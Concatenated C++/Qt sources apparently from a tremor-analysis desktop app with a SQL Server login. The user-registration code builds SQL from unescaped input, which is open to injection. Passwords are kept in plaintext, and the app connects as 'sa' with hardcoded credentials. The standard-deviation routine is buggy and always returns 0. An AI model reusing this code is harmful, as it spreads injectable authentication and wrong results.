loginbtn->setObjectName(QStringLiteral("loginbtn"));
QFont font1;
font1.setPointSize(10);
loginbtn->setFont(font1);
loginbtn->setAutoDefault(true);
horizontalLayout_3->addWidget(loginbtn);
horizontalSpacer = new QSpacerItem(13, 20, QSizePolicy::Expanding, QSizePolicy::Minimum);
horizontalLayout_3->addItem(horizontalSpacer);
registerbtn = new QPushButton(layoutWidget);
registerbtn->setObjectName(QStringLiteral("registerbtn"));
registerbtn->setFont(font1);
registerbtn->setAutoDefault(true);
horizontalLayout_3->addWidget(registerbtn);
horizontalSpacer_2 = new QSpacerItem(13, 20, QSizePolicy::Expanding, QSizePolicy::Minimum);
horizontalLayout_3->addItem(horizontalSpacer_2);
exitbtn = new QPushButton(layoutWidget);
exitbtn->setObjectName(QStringLiteral("exitbtn"));
exitbtn->setFont(font1);
exitbtn->setAutoDefault(true);
horizontalLayout_3->addWidget(exitbtn);
layoutWidget1 = new QWidget(centralWidget);
layoutWidget1->setObjectName(QStringLiteral("layoutWidget1"));
layoutWidget1->setGeometry(QRect(60, 100, 222, 52));
verticalLayout = new QVBoxLayout(layoutWidget1);
verticalLayout->setSpacing(6);
verticalLayout->setContentsMargins(11, 11, 11, 11);
verticalLayout->setObjectName(QStringLiteral("verticalLayout"));
verticalLayout->setContentsMargins(0, 0, 0, 0);
horizontalLayout = new QHBoxLayout();
horizontalLayout->setSpacing(6);
horizontalLayout->setObjectName(QStringLiteral("horizontalLayout"));
userNameLabel = new QLabel(layoutWidget1);
userNameLabel->setObjectName(QStringLiteral("userNameLabel"));
QFont font2;
font2.setFamily(QStringLiteral("Times New Roman"));
font2.setPointSize(12);
userNameLabel->setFont(font2);
horizontalLayout->addWidget(userNameLabel);
userNameLine = new QLineEdit(layoutWidget1);
userNameLine->setObjectName(QStringLiteral("userNameLine"));
horizontalLayout->addWidget(userNameLine);
verticalLayout->addLayout(horizontalLayout);
horizontalLayout_2 = new QHBoxLayout();
horizontalLayout_2->setSpacing(6);
horizontalLayout_2->setObjectName(QStringLiteral("horizontalLayout_2"));
passwordLabel = new QLabel(layoutWidget1);
passwordLabel->setObjectName(QStringLiteral("passwordLabel"));
passwordLabel->setFont(font2);
horizontalLayout_2->addWidget(passwordLabel);
passwordLine = new QLineEdit(layoutWidget1);
passwordLine->setObjectName(QStringLiteral("passwordLine"));
horizontalLayout_2->addWidget(passwordLine);
verticalLayout->addLayout(horizontalLayout_2);
menuBar = new QMenuBar(LoginDialog);
menuBar->setObjectName(QStringLiteral("menuBar"));
menuBar->setGeometry(QRect(0, 0, 400, 21));
mainToolBar = new QToolBar(LoginDialog);
mainToolBar->setObjectName(QStringLiteral("mainToolBar"));
mainToolBar->setGeometry(QRect(0, 0, 4, 12));
statusBar = new QStatusBar(LoginDialog);
statusBar->setObjectName(QStringLiteral("statusBar"));
statusBar->setGeometry(QRect(0, 0, 3, 18));
QFont font3;
font3.setFamily(QStringLiteral("Times New Roman"));
font3.setPointSize(16);
font3.setBold(true);
font3.setWeight(75);
statusBar->setFont(font3);
retranslateUi(LoginDialog);
QMetaObject::connectSlotsByName(LoginDialog);
} // setupUi
void retranslateUi(QDialog *LoginDialog)
{
LoginDialog->setWindowTitle(QApplication::translate("LoginDialog", "LoginDialog", Q_NULLPTR));
label->setText(QApplication::translate("LoginDialog", "PD Tremer Analysis", Q_NULLPTR));
loginbtn->setText(QApplication::translate("LoginDialog", "Login", Q_NULLPTR));
registerbtn->setText(QApplication::translate("LoginDialog", "Register", Q_NULLPTR));
exitbtn->setText(QApplication::translate("LoginDialog", "Exit", Q_NULLPTR));
userNameLabel->setText(QApplication::translate("LoginDialog", "User Name :", Q_NULLPTR));
passwordLabel->setText(QApplication::translate("LoginDialog", " Password : ", Q_NULLPTR));
} // retranslateUi
};
namespace Ui {
class LoginDialog: public Ui_LoginDialog {};
} // namespace Ui
QT_END_NAMESPACE
#endif // UI_LOGINDIALOG_H
<file_sep>#ifndef USERINFO_H
#define USERINFO_H
#include <string>
#include "QtSql/QSqlDatabase"
#include <QVariant>
#include "common.h"
using namespace std;
class UserInfo
{
public:
explicit UserInfo();
~UserInfo() {}
bool IsRegistered(QString userName);
bool IsChecked(QString userName, QString password);
public:
void DeleteUser();
void AddUser(QString userName, QString password);
private:
QSqlDatabase db = QSqlDatabase::addDatabase("QODBC");
void CloseDatabase();
bool OpenDatabase();
//以下均为特征值的相关内容
private:
Features features;
vector<Features> VectorFeatures;
public:
void FeaturesTrans(vector<Features> *vec);
void AddFeatures(Features *data);
void LoadFeatures(vector<Features> *vec);
};
#endif // USERINFO_H
<file_sep>#include "editwindow.h"
#include "ui_editwindow.h"
#include <QPixmap>
#include <vector>
#include "math.h"
#include "userinfo.h"
#include <QMessageBox>
using namespace std;
editwindow::editwindow(QWidget *parent,
vector<double> data,
vector<double>freq):
QWidget(parent),
ui(new Ui::editwindow)
{
ui->setupUi(this);
this->DataSet.assign(data.begin(),data.end());
this->FreqSet.assign(freq.begin(),freq.end());
GetFormulaMap();
GetFormerResult();
connect(ui->btnMEAN,SIGNAL(clicked(bool)),
this,SLOT(SlotCaculateMean()));
connect(ui->btnRMS,SIGNAL(clicked(bool)),
this,SLOT(SlotCaculateRMS()));
connect(ui->btnVAR,SIGNAL(clicked(bool)),
this,SLOT(SlotCaculateVAR()));
connect(ui->btnStdDev,SIGNAL(clicked(bool)),
this,SLOT(SlotCaculateStdDev()));
connect(ui->btnFreqMean,SIGNAL(clicked(bool)),
this,SLOT(SlotCaculateFreqMean()));
connect(ui->btnFreqPeak,SIGNAL(clicked(bool)),
this,SLOT(SlotCaculateFreqPeak()));
connect(ui->btnSigEntropy,SIGNAL(clicked(bool)),
this,SLOT(SlotCaculateSigEntropy()));
connect(ui->btnSigPower,SIGNAL(clicked(bool)),
this,SLOT(SlotCaculateSigPower()));
connect(ui->btnSaveFeatures,SIGNAL(clicked(bool)),
this,SLOT(SlotSaveFeatures()));
connect(ui->btnCalculate,SIGNAL(clicked(bool)),
this,SLOT(SlotCalulateAll()));
connect(ui->btnClose,SIGNAL(clicked(bool)),
this,SLOT(SlotClose()));
}
editwindow::~editwindow()
{
delete ui;
}
void editwindow::GetFormulaMap()
{
QPixmap mean_formular_map("./icon/mean_formula.png");
mean_formular_map=mean_formular_map.scaled(
ui->labelMeanFormula->width(),
ui->labelMeanFormula->height());
ui->labelMeanFormula->setPixmap(mean_formular_map);
QPixmap rms_formula_map("./icon/rms_formula.png");
rms_formula_map=rms_formula_map.scaled(
ui->labelRmsFormula->width(),
ui->labelRmsFormula->height());
ui->labelRmsFormula->setPixmap(rms_formula_map);
QPixmap var_formula_map("./icon/var_formula.png");
var_formula_map=var_formula_map.scaled(
ui->labelVarFormula->width(),
ui->labelVarFormula->height());
ui->labelVarFormula->setPixmap(var_formula_map);
QPixmap standard_formula_map("./icon/standard_formula.png");
standard_formula_map=standard_formula_map.scaled(
ui->labelStdDevFormula->width(),
ui->labelStdDevFormula->height());
ui->labelStdDevFormula->setPixmap(standard_formula_map);
}
void editwindow::SlotCalulateAll()
{
SlotCaculateMean();
SlotCaculateRMS();
SlotCaculateVAR();
SlotCaculateStdDev();
SlotCaculateFreqMean();
SlotCaculateFreqPeak();
SlotCaculateSigEntropy();
SlotCaculateSigPower();
}
void editwindow::SlotClose()
{
QMessageBox::StandardButton rb = QMessageBox::question(NULL,
"Warning","Leaving?",QMessageBox::Yes|QMessageBox::No,
QMessageBox::Yes);
if(rb==QMessageBox::Yes)
this->close();
}
void editwindow::SlotSaveFeatures()
{
if(ui->labelMeanResult->text().toDouble()==features.MEAN &&
ui->labelRmsResult->text().toDouble()==features.RMS &&
ui->labelVarResult->text().toDouble()==features.VAR &&
ui->labelStdDevResult->text().toDouble()==features.StdDev &&
ui->labelResultFreqMean->text().toDouble()==features.FreqMean &&
ui->labelResultFreqPeak->text().toDouble()==features.FreqPeak &&
ui->labelResultSigEntropy->text().toDouble()==features.SigEntropy &&
ui->labelResultSigPower->text().toDouble()==features.SigPower)
return;
SaveFeatures();
}
void editwindow::SaveFeatures()
{
user->AddFeatures(&features);
}
void editwindow::GetFormerResult()
{
user->LoadFeatures(&VectorFeatures);
if(VectorFeatures.size()>0)
{
for(Features item:VectorFeatures)
{
ui->textEditTimeDomain->append(QString("'%1','%2',"
"'%3','%4','%5'\n")
.arg(item.datetime)
.arg(item.MEAN)
.arg(item.RMS)
.arg(item.VAR)
.arg(item.StdDev));
ui->textEditFreqDomain->append(QString("'%1','%2',"
"'%3','%4','%5'\n")
.arg(item.datetime)
.arg(item.FreqMean)
.arg(item.FreqPeak)
.arg(item.SigPower)
.arg(item.SigEntropy));
}
}
}
double editwindow::SlotCaculateMean()
{
double result=0.0;
if(DataSet.size()<1)
return result;
else
for(auto item:DataSet)
result += item;
result /=DataSet.size();
features.MEAN=result;
ui->labelMeanResult->setText(QString::number(result));
return result;
}
double editwindow::SlotCaculateRMS()
{
double result=0.0;
if(DataSet.size()<1)
return result;
for(auto item:DataSet)
result += item*item;
result /=DataSet.size();
result=sqrt(result);
features.RMS=result;
ui->labelRmsResult->setText(QString::number(result));
return result;
}
double editwindow::SlotCaculateVAR()
{
double result=0.0;
if(DataSet.size()<1)
return result;
if(features.MEAN == 0.0)
if(SlotCaculateMean()==0.0)
return result;
for(auto item:DataSet)
result += (item-features.MEAN)*(item-features.MEAN);
result /=DataSet.size();
features.VAR=result;
ui->labelVarResult->setText(QString::number(result));
return result;
}
double editwindow::SlotCaculateStdDev()
{
double result=0.0;
if(DataSet.size()<1)
return result;
if(features.VAR == 0.0)
if(SlotCaculateVAR()==0.0)
return result;
result /=sqrt(features.VAR);
features.StdDev=result;
ui->labelStdDevResult->setText(QString::number(result));
return result;
}
double editwindow::SlotCaculateFreqMean()
{
double result=0.0;
if(FreqSet.size()<1)
return result;
else
for(auto item:FreqSet)
result += item;
result /=FreqSet.size();
features.FreqMean=result;
ui->labelResultFreqMean->setText
(QString::number(result));
return result;
}
double editwindow::SlotCaculateFreqPeak()
{
double result=0.0;
if(FreqSet.size()<1)
return result;
else
for(auto item:FreqSet)
result =result>item?result:item;
features.FreqPeak=result;
ui->labelResultFreqPeak->setText
(QString::number(result));
return result;
}
//需要完善
double editwindow::SlotCaculateSigPower()
{
double result=0.0;
ui->labelResultSigPower->setText
(QString::number(result));
return result;
}
//需要完善
double editwindow::SlotCaculateSigEntropy()
{
double result=0.0;
ui->labelResultSigEntropy->setText
(QString::number(result));
return result;
}
<file_sep>#ifndef COMMON_H
#define COMMON_H
#include <QString>
#include <vector>
using namespace std;
struct Features{
QString datetime="";
double MEAN=0.0;
double RMS=0.0;
double VAR=0.0;
double StdDev=0.0;
double FreqMean=0.0;
double FreqPeak=0.0;
double SigPower=0.0;
double SigEntropy=0.0;
};
struct sample{
vector<double> features;
int label=0;
double distance=0.0;
int result=0;
};
#endif // COMMON_H
<file_sep>#include "LoginDialog.h"
#include <QApplication>
#include <QIcon>
#include <QtSql/QSqlDatabase>
#include <QtSql/QSqlError>
#include <QDebug>
#include <QMessageBox>
#include "UserInfo.h"
#include "MainWindow.h"
int main(int argc, char *argv[])
{
QApplication a(argc, argv);
QSqlDatabase db = QSqlDatabase::addDatabase("QODBC");
qDebug()<<"ODBC driver?" << db.isValid();
QString dsn = QString::fromLocal8Bit("cookie32bit");
db.setDatabaseName(dsn);
db.setHostName("192.168.127.12");
//db.setHostName("fe80::1173:af39:b516:cdb9%4");
db.setUserName("sa");
db.setPassword("<PASSWORD>");
db.setPort(1433);
if(db.open())
{
QMessageBox::information(NULL, "Hint", "connect sql server successfully!", QMessageBox::Yes);
LoginDialog w;
w.show();
db.close();
return a.exec();
}
else
{
qDebug()<<db.lastError();
QMessageBox::information(NULL, "Warnning", "connect sql server failed!", QMessageBox::Yes);
}
LoginDialog w;
w.show();
// MainWindow m;
// m.show();
// pdwidget pd;
// pd.show();
return a.exec();
}
<file_sep>#ifndef KNN_H
#define KNN_H
#include <string>
#include <vector>
#include "common.h"
using namespace std;
class knn
{
public:
knn(vector<Features>train, Features test);
~knn() {}
inline
bool cmp(sample &sOne, sample &sTwo)
{
return sOne.distance<sTwo.distance;
}
double max(int s[],int n);
double getdist(double newx, double data);
double sortknn(vector<sample>&traindata,
sample &testdata);
void runknn(sample newx,
vector<sample>&traindata,
vector<sample> &nearestsample);
};
#endif // KNN_H
<file_sep>/********************************************************************************
** Form generated from reading UI file 'editwindow.ui'
**
** Created by: Qt User Interface Compiler version 5.9.1
**
** WARNING! All changes made in this file will be lost when recompiling UI file!
********************************************************************************/
#ifndef UI_EDITWINDOW_H
#define UI_EDITWINDOW_H
#include <QtCore/QVariant>
#include <QtWidgets/QAction>
#include <QtWidgets/QApplication>
#include <QtWidgets/QButtonGroup>
#include <QtWidgets/QGroupBox>
#include <QtWidgets/QHeaderView>
#include <QtWidgets/QLabel>
#include <QtWidgets/QPushButton>
#include <QtWidgets/QTabWidget>
#include <QtWidgets/QTextEdit>
#include <QtWidgets/QWidget>
QT_BEGIN_NAMESPACE
class Ui_editwindow
{
public:
QTabWidget *tabWidget;
QWidget *tabFeatures;
QGroupBox *gboxTimeDomin;
QLabel *labelMeanResult;
QPushButton *btnMEAN;
QLabel *labelVarResult;
QPushButton *btnVAR;
QLabel *labelMeanFormula;
QPushButton *btnRMS;
QLabel *labelRmsResult;
QLabel *labelRmsFormula;
QLabel *labelVarFormula;
QLabel *labelStdDevFormula;
QLabel *labelStdDevResult;
QPushButton *btnStdDev;
QTextEdit *textEditTimeDomain;
QGroupBox *gboxFreqDomin;
QLabel *labelResultFreqMean;
QPushButton *btnFreqMean;
QLabel *labelResultFreqPeak;
QPushButton *btnFreqPeak;
QLabel *labelFormulaFreqMean;
QPushButton *btnSigPower;
QLabel *labelResultSigPower;
QLabel *labelFormulaSigPower;
QLabel *labelFormulaFreqPeak;
QLabel *labelFormulaSigEntropy;
QLabel *labelResultSigEntropy;
QPushButton *btnSigEntropy;
QTextEdit *textEditFreqDomain;
QWidget *tabReport;
QPushButton *btnSaveFeatures;
QPushButton *btnCalculate;
QPushButton *btnClose;
void setupUi(QWidget *editwindow)
{
if (editwindow->objectName().isEmpty())
editwindow->setObjectName(QStringLiteral("editwindow"));
editwindow->resize(816, 528);
editwindow->setStyleSheet(QStringLiteral("background-color: rgb(176, 208, 255);"));
tabWidget = new QTabWidget(editwindow);
tabWidget->setObjectName(QStringLiteral("tabWidget"));
tabWidget->setGeometry(QRect(20, 20, 781, 491));
tabFeatures = new QWidget();
tabFeatures->setObjectName(QStringLiteral("tabFeatures"));
gboxTimeDomin = new QGroupBox(tabFeatures);
gboxTimeDomin->setObjectName(QStringLiteral("gboxTimeDomin"));
gboxTimeDomin->setGeometry(QRect(10, 0, 761, 221));
gboxTimeDomin->setStyleSheet(QLatin1String("background-color: rgb(148, 177, 255);\n"
"background-color: rgb(221, 239, 255);"));
labelMeanResult = new QLabel(gboxTimeDomin);
labelMeanResult->setObjectName(QStringLiteral("labelMeanResult"));
labelMeanResult->setGeometry(QRect(120, 30, 61, 20));
btnMEAN = new QPushButton(gboxTimeDomin);
btnMEAN->setObjectName(QStringLiteral("btnMEAN"));
btnMEAN->setGeometry(QRect(20, 30, 75, 23));
labelVarResult = new QLabel(gboxTimeDomin);
labelVarResult->setObjectName(QStringLiteral("labelVarResult"));
labelVarResult->setGeometry(QRect(320, 30, 61, 20));
btnVAR = new QPushButton(gboxTimeDomin);
btnVAR->setObjectName(QStringLiteral("btnVAR"));
btnVAR->setGeometry(QRect(220, 30, 75, 23));
labelMeanFormula = new QLabel(gboxTimeDomin);
labelMeanFormula->setObjectName(QStringLiteral("labelMeanFormula"));
labelMeanFormula->setGeometry(QRect(20, 60, 161, 51));
labelMeanFormula->setStyleSheet(QStringLiteral("background-color: rgb(85, 255, 255);"));
btnRMS = new QPushButton(gboxTimeDomin);
btnRMS->setObjectName(QStringLiteral("btnRMS"));
btnRMS->setGeometry(QRect(20, 127, 75, 23));
labelRmsResult = new QLabel(gboxTimeDomin);
labelRmsResult->setObjectName(QStringLiteral("labelRmsResult"));
labelRmsResult->setGeometry(QRect(120, 130, 61, 20));
labelRmsFormula = new QLabel(gboxTimeDomin);
labelRmsFormula->setObjectName(QStringLiteral("labelRmsFormula"));
labelRmsFormula->setGeometry(QRect(20, 160, 161, 51));
labelRmsFormula->setStyleSheet(QStringLiteral("background-color: rgb(85, 255, 255);"));
labelVarFormula = new QLabel(gboxTimeDomin);
labelVarFormula->setObjectName(QStringLiteral("labelVarFormula"));
labelVarFormula->setGeometry(QRect(220, 60, 161, 51));
labelVarFormula->setStyleSheet(QStringLiteral("background-color: rgb(85, 255, 255);"));
labelStdDevFormula = new QLabel(gboxTimeDomin);
labelStdDevFormula->setObjectName(QStringLiteral("labelStdDevFormula"));
labelStdDevFormula->setGeometry(QRect(220, 160, 161, 51));
labelStdDevFormula->setStyleSheet(QStringLiteral("background-color: rgb(85, 255, 255);"));
labelStdDevResult = new QLabel(gboxTimeDomin);
labelStdDevResult->setObjectName(QStringLiteral("labelStdDevResult"));
labelStdDevResult->setGeometry(QRect(320, 130, 61, 20));
btnStdDev = new QPushButton(gboxTimeDomin);
btnStdDev->setObjectName(QStringLiteral("btnStdDev"));
btnStdDev->setGeometry(QRect(220, 127, 75, 23));
textEditTimeDomain = new QTextEdit(gboxTimeDomin);
textEditTimeDomain->setObjectName(QStringLiteral("textEditTimeDomain"));
textEditTimeDomain->setGeometry(QRect(410, 20, 341, 191));
textEditTimeDomain->setStyleSheet(QStringLiteral("background-color: rgb(201, 255, 230);"));
gboxFreqDomin = new QGroupBox(tabFeatures);
gboxFreqDomin->setObjectName(QStringLiteral("gboxFreqDomin"));
gboxFreqDomin->setGeometry(QRect(10, 240, 761, 221));
gboxFreqDomin->setStyleSheet(QLatin1String("background-color: rgb(148, 177, 255);\n"
"background-color: rgb(221, 239, 255);"));
labelResultFreqMean = new QLabel(gboxFreqDomin);
labelResultFreqMean->setObjectName(QStringLiteral("labelResultFreqMean"));
labelResultFreqMean->setGeometry(QRect(120, 30, 61, 20));
btnFreqMean = new QPushButton(gboxFreqDomin);
btnFreqMean->setObjectName(QStringLiteral("btnFreqMean"));
btnFreqMean->setGeometry(QRect(20, 30, 75, 23));
labelResultFreqPeak = new QLabel(gboxFreqDomin);
labelResultFreqPeak->setObjectName(QStringLiteral("labelResultFreqPeak"));
labelResultFreqPeak->setGeometry(QRect(320, 30, 61, 20));
btnFreqPeak = new QPushButton(gboxFreqDomin);
btnFreqPeak->setObjectName(QStringLiteral("btnFreqPeak"));
btnFreqPeak->setGeometry(QRect(220, 30, 75, 23));
labelFormulaFreqMean = new QLabel(gboxFreqDomin);
labelFormulaFreqMean->setObjectName(QStringLiteral("labelFormulaFreqMean"));
labelFormulaFreqMean->setGeometry(QRect(20, 60, 161, 51));
labelFormulaFreqMean->setStyleSheet(QStringLiteral("background-color: rgb(85, 255, 255);"));
btnSigPower = new QPushButton(gboxFreqDomin);
btnSigPower->setObjectName(QStringLiteral("btnSigPower"));
btnSigPower->setGeometry(QRect(20, 127, 75, 23));
labelResultSigPower = new QLabel(gboxFreqDomin);
labelResultSigPower->setObjectName(QStringLiteral("labelResultSigPower"));
labelResultSigPower->setGeometry(QRect(120, 130, 61, 20));
labelFormulaSigPower = new QLabel(gboxFreqDomin);
labelFormulaSigPower->setObjectName(QStringLiteral("labelFormulaSigPower"));
labelFormulaSigPower->setGeometry(QRect(20, 160, 161, 51));
labelFormulaSigPower->setStyleSheet(QStringLiteral("background-color: rgb(85, 255, 255);"));
labelFormulaFreqPeak = new QLabel(gboxFreqDomin);
labelFormulaFreqPeak->setObjectName(QStringLiteral("labelFormulaFreqPeak"));
labelFormulaFreqPeak->setGeometry(QRect(220, 60, 161, 51));
labelFormulaFreqPeak->setStyleSheet(QStringLiteral("background-color: rgb(85, 255, 255);"));
labelFormulaSigEntropy = new QLabel(gboxFreqDomin);
labelFormulaSigEntropy->setObjectName(QStringLiteral("labelFormulaSigEntropy"));
labelFormulaSigEntropy->setGeometry(QRect(220, 160, 161, 51));
labelFormulaSigEntropy->setStyleSheet(QStringLiteral("background-color: rgb(85, 255, 255);"));
labelResultSigEntropy = new QLabel(gboxFreqDomin);
labelResultSigEntropy->setObjectName(QStringLiteral("labelResultSigEntropy"));
labelResultSigEntropy->setGeometry(QRect(320, 130, 61, 20));
btnSigEntropy = new QPushButton(gboxFreqDomin);
btnSigEntropy->setObjectName(QStringLiteral("btnSigEntropy"));
btnSigEntropy->setGeometry(QRect(220, 127, 75, 23));
textEditFreqDomain = new QTextEdit(gboxFreqDomin);
textEditFreqDomain->setObjectName(QStringLiteral("textEditFreqDomain"));
textEditFreqDomain->setGeometry(QRect(410, 20, 341, 191));
textEditFreqDomain->setStyleSheet(QStringLiteral("background-color: rgb(201, 255, 230);"));
tabWidget->addTab(tabFeatures, QString());
tabReport = new QWidget();
tabReport->setObjectName(QStringLiteral("tabReport"));
tabWidget->addTab(tabReport, QString());
btnSaveFeatures = new QPushButton(editwindow);
btnSaveFeatures->setObjectName(QStringLiteral("btnSaveFeatures"));
btnSaveFeatures->setGeometry(QRect(610, 10, 75, 23));
btnCalculate = new QPushButton(editwindow);
btnCalculate->setObjectName(QStringLiteral("btnCalculate"));
btnCalculate->setGeometry(QRect(500, 10, 75, 23));
btnClose = new QPushButton(editwindow);
btnClose->setObjectName(QStringLiteral("btnClose"));
btnClose->setGeometry(QRect(390, 10, 75, 23));
retranslateUi(editwindow);
tabWidget->setCurrentIndex(0);
QMetaObject::connectSlotsByName(editwindow);
} // setupUi
void retranslateUi(QWidget *editwindow)
{
editwindow->setWindowTitle(QApplication::translate("editwindow", "Form", Q_NULLPTR));
gboxTimeDomin->setTitle(QApplication::translate("editwindow", "Time Domain", Q_NULLPTR));
labelMeanResult->setText(QApplication::translate("editwindow", "0.0", Q_NULLPTR));
btnMEAN->setText(QApplication::translate("editwindow", "MEAN", Q_NULLPTR));
labelVarResult->setText(QApplication::translate("editwindow", "0.0", Q_NULLPTR));
btnVAR->setText(QApplication::translate("editwindow", "VAR", Q_NULLPTR));
labelMeanFormula->setText(QString());
btnRMS->setText(QApplication::translate("editwindow", "RMS", Q_NULLPTR));
labelRmsResult->setText(QApplication::translate("editwindow", "0.0", Q_NULLPTR));
labelRmsFormula->setText(QString());
labelVarFormula->setText(QString());
labelStdDevFormula->setText(QString());
labelStdDevResult->setText(QApplication::translate("editwindow", "0.0", Q_NULLPTR));
btnStdDev->setText(QApplication::translate("editwindow", "Std Dev", Q_NULLPTR));
gboxFreqDomin->setTitle(QApplication::translate("editwindow", "Freq Domain", Q_NULLPTR));
labelResultFreqMean->setText(QApplication::translate("editwindow", "0.0", Q_NULLPTR));
btnFreqMean->setText(QApplication::translate("editwindow", "Freq Mean", Q_NULLPTR));
labelResultFreqPeak->setText(QApplication::translate("editwindow", "0.0", Q_NULLPTR));
btnFreqPeak->setText(QApplication::translate("editwindow", "Freq Peak", Q_NULLPTR));
labelFormulaFreqMean->setText(QString());
btnSigPower->setText(QApplication::translate("editwindow", "Sig Power", Q_NULLPTR));
labelResultSigPower->setText(QApplication::translate("editwindow", "0.0", Q_NULLPTR));
labelFormulaSigPower->setText(QString());
labelFormulaFreqPeak->setText(QString());
labelFormulaSigEntropy->setText(QString());
labelResultSigEntropy->setText(QApplication::translate("editwindow", "0.0", Q_NULLPTR));
btnSigEntropy->setText(QApplication::translate("editwindow", "Sig Entropy", Q_NULLPTR));
tabWidget->setTabText(tabWidget->indexOf(tabFeatures), QApplication::translate("editwindow", "Features", Q_NULLPTR));
tabWidget->setTabText(tabWidget->indexOf(tabReport), QApplication::translate("editwindow", "Report", Q_NULLPTR));
btnSaveFeatures->setText(QApplication::translate("editwindow", "Save", Q_NULLPTR));
btnCalculate->setText(QApplication::translate("editwindow", "Calculate", Q_NULLPTR));
btnClose->setText(QApplication::translate("editwindow", "Close", Q_NULLPTR));
} // retranslateUi
};
namespace Ui {
class editwindow: public Ui_editwindow {};
} // namespace Ui
QT_END_NAMESPACE
#endif // UI_EDITWINDOW_H
<file_sep>#include "UserInfo.h"
#include "QtSql/QSqlDatabase"
#include "QtSql/QSqlQuery"
#include <QMessageBox>
#include <QVariant>
#include <QVariantList>
#include <QDebug>
#include <QtSql/QSqlQueryModel>
#include <QtSql/QSqlRecord>
#include <QtSql/QSqlTableModel>
#include <iostream>
#include <QDateTime>
#include <vector>
UserInfo::UserInfo()
{
//this->userName = user;
//this->password = pwd;
}
void UserInfo::CloseDatabase()
{
if(db.isOpen())
db.close();
}
bool UserInfo::OpenDatabase()
{
QSqlDatabase db = QSqlDatabase::addDatabase("QODBC");
qDebug()<<"ODBC driver?" << db.isValid();
QString dsn = QString::fromLocal8Bit("cookie32bit");
db.setDatabaseName(dsn);
db.setHostName("localhost");
db.setUserName("sa");
db.setPassword("<PASSWORD>");
db.setPort(1433);
if(!db.open())
{
qDebug()<<"connect sql server failed!";
//QMessageBox::information(NULL, "Warnning", "connect sql server failed!", QMessageBox::Yes);
return false;
}
else
{
qDebug()<<"connect sql server successfully!";
//QMessageBox::information(NULL, "Hint", "connect sql server successfully!", QMessageBox::Yes);
return true;
}
}
bool UserInfo::IsRegistered(QString userName)
{
// if(!OpenDatabase())
// {
// qDebug()<<"IsRegistered of OpenDatabase: false";
// return false;
// }
// QSqlQuery query;
// QString str, result;
// str = QString("SELECT uName FROM PDUser WHERE uName = %1").arg(userName);
// query.exec(str);
// result=query.value(1).toString();
// qDebug()<<"result: " <<result;
// if(query.isSelect())
// {
// qDebug()<<"user exist.";
// return true;
// }
// else
// {
// qDebug()<<"user not exist.";
// return false;
// }
// CloseDatabase();
return true;
}
bool UserInfo::IsChecked(QString userName, QString password)
{
OpenDatabase();
QSqlTableModel model;
model.setTable("PDUser");
model.select();
for(int i=0; i<model.rowCount(); i++)
{
QSqlRecord record = model.record(i);
if(record.value(0)==userName &&
record.value(1)==password)
{
QMessageBox::information(NULL, "Hint", userName+" login successfully.",
QMessageBox::Yes);
CloseDatabase();
return true;
}
if(record.value(0)==userName &&
record.value(1)!=password)
{
QMessageBox::information(NULL, "Hint", userName+" password wrong, try again.",
QMessageBox::Yes);
CloseDatabase();
return false;
}
}
CloseDatabase();
qDebug()<<"Cannot find user";
return false;
}
// QString str = QString("SELECT uPswd FROM PDUser WHERE uName = %1").arg(userName);
// QSqlQuery query;
// query.exec(str);
// QSqlRecord record = query.record();
// QString pwd=record.value("uPswd").toString();
// str=query.value(0).toString();
// qDebug()<<"result: " <<query.result();
// qDebug()<<"value(0): " <<query.value(0);
// qDebug()<<"record(0): " <<query.boundValue(0).toString();
// if(query.value(0) == password)
// {
// qDebug()<<"result: " <<query.result();
// return true;
// }
// else
// {
// qDebug()<<"check fail";
// return false;
// }
//}
void UserInfo::AddUser(QString userName, QString password)
{
if(!OpenDatabase())
return;
QSqlQuery q;
QString ss;
ss="select *from sys.tables where name='PDUser'";
q.exec(ss);
if(!q.next())
{
qDebug()<<"table not exsit.";
CloseDatabase();
return;
}
else
{
qDebug()<<"yes, it exist.";
}
QString insert;
//sprintf(insert,"insert into PDUser(userName,password) values('%s','%s')",u,p);
//insert = "insert into PDUser(userName,password) values('{0}','{1}')";
//insert = "insert into PDUser(userName,password) values('+u+','+p+')";
//insert = ("insert into PDUser(userName,password) values('%s','%s')",u,p);
//insert = "insert into PDUser(userName,password) values('"+ u +","+ p +"')";
insert = QString("insert into PDUser(uName,upswd) values('%1','%2')").arg(userName).arg(password);
QSqlQuery query;
query.exec(insert);
if(query.numRowsAffected() > 0)
{
qDebug()<<"Add successfully";
}
else
{
qDebug()<<"Add fail";
}
// if(query.next())
// {
// QMessageBox::information(NULL, "Hint", "Add ser successfully!", QMessageBox::Yes);
// }
// else
// {
// qDebug()<<query.lastQuery();
// QMessageBox::information(NULL, "Hint", "Add user failure!", QMessageBox::Yes);
// }
// query.bindValue(u, p);
// QSqlQuery query("INSERT INTO PDUser(userName, password)VALUES(:userName, :password)");
// query.bindValue(u, p);
// if(query.lastInsertId() != 0)
// {
// QMessageBox::information(NULL, "Hint", "Add ser successfully!", QMessageBox::Yes);
// }
// else
// {
// qDebug()<<query.lastInsertId();
// qDebug()<<query.lastQuery();
// QMessageBox::information(NULL, "Hint", "Add user failure!", QMessageBox::Yes);
// }
CloseDatabase();
}
void UserInfo::DeleteUser()
{
// if(!IsRegistered())
// {
// QMessageBox::information(NULL, "Warnning", "User dose not exist!", QMessageBox::Yes);
// return;
// }
// QSqlQuery query("DELETE FROM PDUser WHERE userName = this->Users.userName");
// query.exec();
}
//void UserInfo::AddFeatures(Features data)
//{
// if(!OpenDatabase())
// return;
// QSqlQuery query;
// QString str;
// str="select *from sys.tables where name='PDFeatures'";
// query.exec(str);
// if(!query.next())
// {
// qDebug()<<"table not exsit.";
// CloseDatabase();
// return;
// }
// else
// {
// qDebug()<<"yes, it exist.";
// }
// QSqlQuery qInsert;
// qInsert.prepare("insert into PDFeatures values("
// "?,?,?,?,?,?,?,?,?)");
// QDataStream ins;
// //ins.append(data.datetime);
// ins>>data.datetime>>data.MEAN>>data.RMS>>
// data.VAR>>data.StdDev>>data.FreqMean>>
// data.SigPower>>data.SigEntropy;
// qInsert.addBindValue(ins);
// int reg=query.numRowsAffected();
// if(reg > 0)
// {
// qDebug()<<"Add successfully: "<<reg;
// }
// else
// {
// qDebug()<<"Add fail";
// }
// CloseDatabase();
//}
void UserInfo::AddFeatures(Features *data)
{
if(!OpenDatabase())
return;
QSqlTableModel model;
model.setTable("PDFeatures");
int reg1=model.rowCount();
data->datetime=QDateTime::currentDateTime().toString(
"yyyy-MM-dd hh:mm:ss");
QSqlRecord record=model.record();
record.setValue("DateAndTime",data->datetime);
